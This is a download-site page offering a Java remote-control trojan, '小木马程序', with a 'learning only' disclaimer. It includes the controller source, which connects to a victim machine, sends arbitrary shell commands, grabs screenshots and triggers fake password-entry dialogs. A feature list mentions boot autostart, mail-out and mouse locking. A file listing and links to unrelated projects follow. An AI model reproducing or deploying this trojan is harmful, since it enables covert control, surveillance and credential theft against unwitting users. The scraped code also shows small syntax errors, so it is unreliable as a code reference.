资源简介
/*
* 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
* 本程序功能
* 1、程序开机自动启动(√)
* 2、自动发送邮件
* 3、执行dos命令,并将信息返回、这里可以执行关机等命令(√)
* 4、锁定鼠标,这里通过一个线程实现
* 5、查看被控制端的桌面,将桌面画面截图并发送给控制端(√)
* 6、在被控制端弹出对话框,多种对话框模式(√)
* 7、让被控制端闪屏(√)
* 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
*/
代码片段和文件信息
import java.io.BufferedWriter;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.UnknownHostException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Scanner;
/*
* 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
* 本程序功能
* 1、程序开机自动启动,并自动发送邮件(√)
* 2、自动复制(只在本地)可以方便嵌入到其它java程序当中
* 3、执行dos命令,并将信息返回、这里可以执行关机等命令(√)
* 4、锁定鼠标,这里通过一个线程实现
* 5、查看被控制端的桌面,将桌面画面截图并发送给控制端(√)
* 6、在被控制端弹出对话框多种对话框模式(√)
* 7、让被控制端闪屏(√)
* 本程序仅供学习参考使用。严禁使用本程序进行违法行为!
* 作者博客:http://blog.csdn.net/leasystu
*/
public class ControlWin {
Socket socket;
DataOutputStream dos;
DataInputStream dis;
String dosS;
Scanner in;
String reString;
int picNum = 1;
int PORT = 1220;
String IP = “127.0.0.1“;
String path = “D:\\pic“;
File file;
BufferedWriter bw;
String fileName;
public ControlWin() {
in = new Scanner(System.in);
System.out.print(“输入IP:“);
IP = in.nextLine().trim();
try {
socket = new Socket(IP PORT);
Date date = new Date();
SimpleDateFormat sdf = new SimpleDateFormat(“MM月dd日HH时mm分“);
fileName = sdf.format(date);
file = new File(“D:\\pic\\“ + fileName);
file.mkdirs();
file = new File(“D:\\pic\\“ + fileName + “\\log.txt“);
try {
bw = new BufferedWriter(new OutputStreamWriter(
new FileOutputStream(file)));
} catch (FileNotFoundException e) {
e.printStackTrace();
}
try {
// 所有的记录都会存在D:\\pic这个目录下~
bw.write(“开始记录“);
bw.newLine();
bw.flush();
} catch (IOException e) {
e.printStackTrace();
}
System.out.println(“contected“);
dos = new DataOutputStream(socket.getOutputStream());
dis = new DataInputStream(socket.getInputStream());
new Thread(new MyInputThread()).start();
go();
} catch (UnknownHostException e) {
e.printStackTrace();
return;
} catch (IOException e) {
e.printStackTrace();
return;
}
}
public void go() {//开始发送命令
while (true) {
System.out.println(“intput commend:“);
dosS = in.nextLine().trim();
if (dosS.startsWith(“-d“) && dosS.length() == 2) {
continue;
} else if (dosS.equals(“exit“)) {
break;
} else if (dosS.equals(““)) {
continue;
} else if (dosS.endsWith(“-help“)) {
System.out
.println(“-doutmsg msg 以对话框形式输出信息\n“
+ “-dinmsg msg弹出一个输入对话框+显示信息msg\n“
+ “-dinpass msg 弹出一个输入密码对话框+显示信息msg\n“
+ “-flash msg 闪屏并显示msg所表示的文字\n“ + “-p:获取图片\n“
+ “-m l锁定键盘 .....-m a取消锁定\n“
+ “输入其则执行相应的dos命令,如输入ipconfig 则显示相应的ip信息\n“
+ “exit:退出“);
continue;
}
try {
dos.writeUTF(dosS);
} catch (IOException e) {
e.printStackTrace();
}
}
}
public void showMsg(String msg) {
if (msg == null)
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
目录 0 2012-02-17 19:39 小木马程序\
文件 348 2011-06-16 19:28 小木马程序\.classpath
文件 391 2012-02-17 18:03 小木马程序\.project
目录 0 2012-02-17 19:39 小木马程序\.settings\
文件 130 2012-02-17 18:04 小木马程序\.settings\org.eclipse.core.resources.prefs
文件 629 2011-06-15 19:19 小木马程序\.settings\org.eclipse.jdt.core.prefs
目录 0 2012-02-17 19:39 小木马程序\bin\
文件 1200 2012-02-17 19:25 小木马程序\bin\ControlWin$MyInputThread.class
文件 5454 2012-02-17 19:25 小木马程序\bin\ControlWin.class
文件 1460 2012-02-17 19:16 小木马程序\bin\Test$Flash$1.class
文件 992 2012-02-17 19:16 小木马程序\bin\Test$Flash$2.class
文件 1721 2012-02-17 19:16 小木马程序\bin\Test$Flash.class
文件 1706 2012-02-17 19:16 小木马程序\bin\Test$JarUtil.class
文件 1059 2012-02-17 19:16 小木马程序\bin\Test$MouseLockThread.class
文件 2004 2012-02-17 19:16 小木马程序\bin\Test$MyCopy.class
文件 1116 2012-02-17 19:16 小木马程序\bin\Test$MyDialogMsgInput$1.class
文件 1950 2012-02-17 19:16 小木马程序\bin\Test$MyDialogMsgInput.class
文件 1123 2012-02-17 19:16 小木马程序\bin\Test$MyDialogPassInput$1.class
文件 2005 2012-02-17 19:16 小木马程序\bin\Test$MyDialogPassInput.class
文件 423 2012-02-17 19:16 小木马程序\bin\Test$OtherApp.class
文件 653 2012-02-17 19:16 小木马程序\bin\Test$ShowDialogThread.class
文件 1933 2012-02-17 19:16 小木马程序\bin\Test$SMail.class
文件 8499 2012-02-17 19:16 小木马程序\bin\Test.class
文件 462098 2011-04-14 16:46 小木马程序\mail.jar
目录 0 2012-02-17 19:39 小木马程序\src\
文件 5449 2012-02-17 19:49 小木马程序\src\ControlWin.java
文件 16145 2012-02-17 19:16 小木马程序\src\Test.java
相关资源
- JAVA JSP公司财务管理系统 源代码 论文
- JSP+MYSQL旅行社管理信息系统
- 推荐算法的JAVA实现
- 基于Java的酒店管理系统源码(毕业设
- java-图片识别 图片比较
- android毕业设计
- java23种设计模式+23个实例demo
- u-blox_Android_GNSS_Driver_v3.10驱动源码+中
- java Socket发送/接受报文
- JAVA828436
- java界面美化 提供多套皮肤直接使用
- 在线聊天系统(java代码)
- 基于Java的图书管理系统807185
- java中实现将页面数据导入Excel中
- 个人根据Android移动开发案例详解手写
- java 企业销售管理系统
- java做的聊天系统(包括正规课程设计
- Java编写的qq聊天室
- 基于JSP的学生宿舍管理系统(源码 数
- mysql jsp网站源码下载
- 商店商品管理系统 JAVA写的 有界面
- JAVA开发聊天室程序
- 在linux系统下用java执行系统命令实例
- java期末考试试题两套(答案) 选择(
- JAVA3D编程示例(建模、交互)
- Java 文件加密传输
- java做的房产管理系统
- 基于jsp的bbs论坛 非常详细
- [免费]java实现有障碍物的贪吃蛇游戏
- java Servlet投票实例
评论
共有 条评论